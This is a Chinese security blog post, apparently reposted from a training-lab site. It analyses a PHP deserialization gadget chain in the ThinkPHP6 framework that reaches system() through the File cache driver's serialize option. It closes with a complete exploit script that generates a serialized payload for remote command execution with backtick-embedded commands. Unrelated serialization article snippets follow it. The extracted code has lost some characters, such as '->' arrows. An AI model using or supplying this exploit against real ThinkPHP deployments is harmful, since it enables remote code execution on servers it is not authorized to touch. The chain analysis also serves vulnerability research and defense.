php反序列化6,thinkphp6的另反序列化分析

thinkphp6的另反序列化分析

本文首发于“合天网安实验室”转载请注明出处！

你是否正在收集各类网安网安知识学习，合天网安实验室为你总结了1300+网安技能任你学，点击获取免费靶场

知识点实操概要

实操探寻ThinkPHP5远程命令执行漏洞形成原因，各种姿势利用方法。

链接指路：

ThinkPHP5远程命令执行漏洞

点击链接马上体验

Forward

之前分析过tp6的一个链；当时是利用__toString方法去进行的中转，从而实现前后两个链的链接，这次是两个另外链条；利用的是可控类下的固定方法进行中转；开始分析；

首先环境可以composer一键搭建，然后php think run进行跑起来就可；

text

首先的想法就是利用析构函数进行最开始的触发；然后一路追踪魔法函数去进行一步一步的推导；首先找到魔法函数在AbstractCache类下；

protected $autosave = true;

public function __destruct()

{

if (! $this-autosave) {

$this-save();

}

}

protected $autosave = true;

public function __destruct()

{

if (! $this-autosave) {

$this-save();

}

}

其代码如上；可以看到autosave可以可控；这里我们可以手动给其复制为false；从而可以触发save方法；

回溯save方法；在CacheStore中找到了save方法；具体代码如下；

public function save()

{

$contents = $this-getForStorage();

$this-store-set($this-key, $contents, $this-expire);

}

可以看到其调用了getForStorage方法，然后将其赋值给$contents变量。这里追随一下这个方法；

public function getForStorage()

{

$cleaned = $this-cleanContents($this-cache);

return json_encode([$cleaned, $this-complete]);

}

发现首先调用了cleanContents方法；然后在调用了json_encode方法，这里首先回溯一下cleanContents方法；

public function cleanContents(array $contents)

{

$cachedProperties = array_flip([

'path', 'dirname', 'basename', 'extension', 'filename',

'size', 'mimetype', 'visibility', 'timestamp', 'type',

'md5',

]);

foreach ($contents as $path = $object) {

if (is_array($object)) {

$contents[$path] = array_intersect_key($object, $cachedProperties);

}

}

return $contents;

}

首先在这里看到了array_flip方法；这个方法是将数组的键名和键值进行替换；然后数组赋值给$cachedProperties变量；然后将我们传入的参数按照$path和$object的格式来进行各个遍历；然后将键名经过is_array方法的判断如果为true则进行后续的函数处理；否则就直接return $content这个数组；经过这一系列操作完之后，最终是return到了save函数里；然后接着去进行 $this-store-set($this-key, $contents, $this-expire);这里我们发现store也可控；那么就有两种思路，第一个就是去实例化一个有set方法的类，或者我们实例化一个存在__call方法的类；从而可以因为访问不存在的方法去调用到call魔术方法；这里我们先找到一个有set方法的类；在File类中找到：

public function set($name, $value, $expire = null): bool

{

$this-writeTimes++;

if (is_null($expire)) {

$expire = $this-options['expire'];

}

$expire = $this-getExpireTime($expire);

$filename = $this-getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {

try {

mkdir($dir, 0755, true);

} catch (\Exception $e) {

// 创建失败

}

}

$data = $this-serialize($value);

if ($this-options['data_compress'] function_exists('gzcompress')) {

//数据压缩

$data = gzcompress($data, 3);

}

$data = "php\n//" . sprintf('%012d', $expire) . "\n exit();\n" . $data;

$result = file_put_contents($filename, $data);

if ($result) {

clearstatcache();

return true;

}

return false;

}

这里可利用点在后面的serialize方法；直接追溯一下；

protected function serialize($data): string

{

if (is_numeric($data)) {

return (string) $data;

}

$serialize = $this-options['serialize'][0] "serialize";

return $serialize($data);

}

这里发现options参量可控；这里就存在一个问题，如果我们将其赋值为system，那么后续return的就是我们命令执行函数，里面的data我们是可以传入的，那么我们就可以实现RCE；

这里放出我自己写的exp；

php

#bash回显；网页不回显；

namespace League\Flysystem\Cached\Storage{

abstract class AbstractCache

{

protected $autosave = false;

protected $complete = [];

protected $cache = ['`id`'];

}

}

namespace think\filesystem{

use League\Flysystem\Cached\Storage\AbstractCache;

class CacheStore extends AbstractCache

{

protected $store;

protected $key;

public function __construct($store,$key,$expire)

{

$this-key = $key;

$this-store = $store;

$this-expire = $expire;

}

}

}

namespace think\cache{

abstract class Driver{

}

}

namespace think\cache\driver{

use think\cache\Driver;

class File extends Driver

{

protected $options = [

'expire' = 0,

'cache_subdir' = false,

'prefix' = false,

'path' = 's1mple',

'hash_type' = 'md5',

'serialize' = ['system'],

];

}

}

namespace{

$b = new think\cache\driver\File();

$a = new think\filesystem\CacheStore($b,'s1mple','1111');

echo urlencode(serialize($a));

}

最后达到的效果就是system(xxxx);这里当时我测试没有回显，后来将代码调试了一下，发现是system里面参数的问题，后来我想到linux或者unix下反引号也是可以当做命令执行的，而且是可以首先执行的；所以我将代码改了下，嵌入反引号，这样可以更好的进行命令执行，但是这样的缺点就是可以执行，但是无回显；但是我们依然可以进行一些恶意操作

thinkphp6的另反序列化分析 相关文章

二叉树的序列化与反序列化问题

二叉树的序列化与反序列化问题 二叉树题目其实就是那几种遍历方式：前序，后序，中序，层级遍历 二叉树的序列化和反序列化为例： leet297: 「二叉树的序列化与反序列化」就是给你输入一棵二叉树的根节点 root ，要求你实现如下一个类： public class Codec {

django文档总结之DRF、序列化(5)

序列化与反序列化 一种对于数据的操作，将数据进行格式转换 序列化操作 ：将python类型转换成json 反序列化操作 ：将json转换成python类型 DRF 提供的功能： 1.序列化 2.视图 3.路由 1 安装DRF: pip install djangorestframework 2 添加rest_framework应用:

Serializing a Collection of Java Records into a JSON Array 序列化一个 set java 集合为JSON 数组格式

引用自 https://adambien.blog/roller/abien/entry/serializing_a_collection_of_java A collection (Set) of Java Record instances: 用于存入 set 集合的对象有两个参数一个 是 text ，一个是 uri public record Link(String text, String uri) {} 使用 JS

【转】带有function的JSON对象的序列化与还原

JSON对象的序列化与反序列化相信大家都很熟悉了。基本的api是JSON.parse与JSON.stringify. var json={ uiModule:'http://www.a.com', login:'true', mainSubjectId:3004, happydays:100, happyhours:1, userCount :200, itemCount:1000000, type:'all', main

.net JavaScriptSerializer反序列化漏洞

net中的javascriptserializer 在.NET处理 Ajax应用的时候，通常序列化功能由JavaScriptSerializer类提供，它是.NET2.0之后内部实现的序列化功能的类，位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用，让开发者轻松实现.Net中

django-关联字段序列化及校验

from rest_framework import serializersfrom rest_framework.validators import UniqueValidatorfrom .models import Projectsfrom interfaces.models import Interfacesclass OneInterfaceSerilizer(serializers.Serializer): id = serializers.IntegerFie

pikachu-php反序列化

php反序列化介绍： 在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建一个对

python测试开发django-rest-framework-94.序列化(ModelSerializer)之嵌套对象

前言 前面一篇在查询我的收藏的时候，只显示了商品的id和收藏状态，并没有显示商品的详情。如果我们想查询的结果显示商品的详情，需关联到商品表。 嵌套对象 我们在查询的时候，希望能显示商品的详情 于是可以在序列化的时候嵌套 from .models import Goods,

python测试开发django-rest-framework-93.反序列化(ModelSerializer)之UniqueTogetherValidator联合唯一校验

前言 前面添加商品，商品code只能添加一次可以用唯一字段校验UniqueValidator，如果用户收藏商品，一个用户可以收藏多个商品，一个商品也可以被多个人收藏。 但是同一个人针对同一个商品，只能收藏一次，于是可以用UniqueTogetherValidator联合唯一校验 收藏

java反序列化demo

1、代码 Info.java //创建一个info类，该类引用接口Serializable，该类可以序列化和反序列化 引用了Serializable接口时，会在类内寻找writeObject(readObject)方法，如果重写了该方法则使用重写后的， 如果未重写，则使用默认的 关键函数resolveClass()，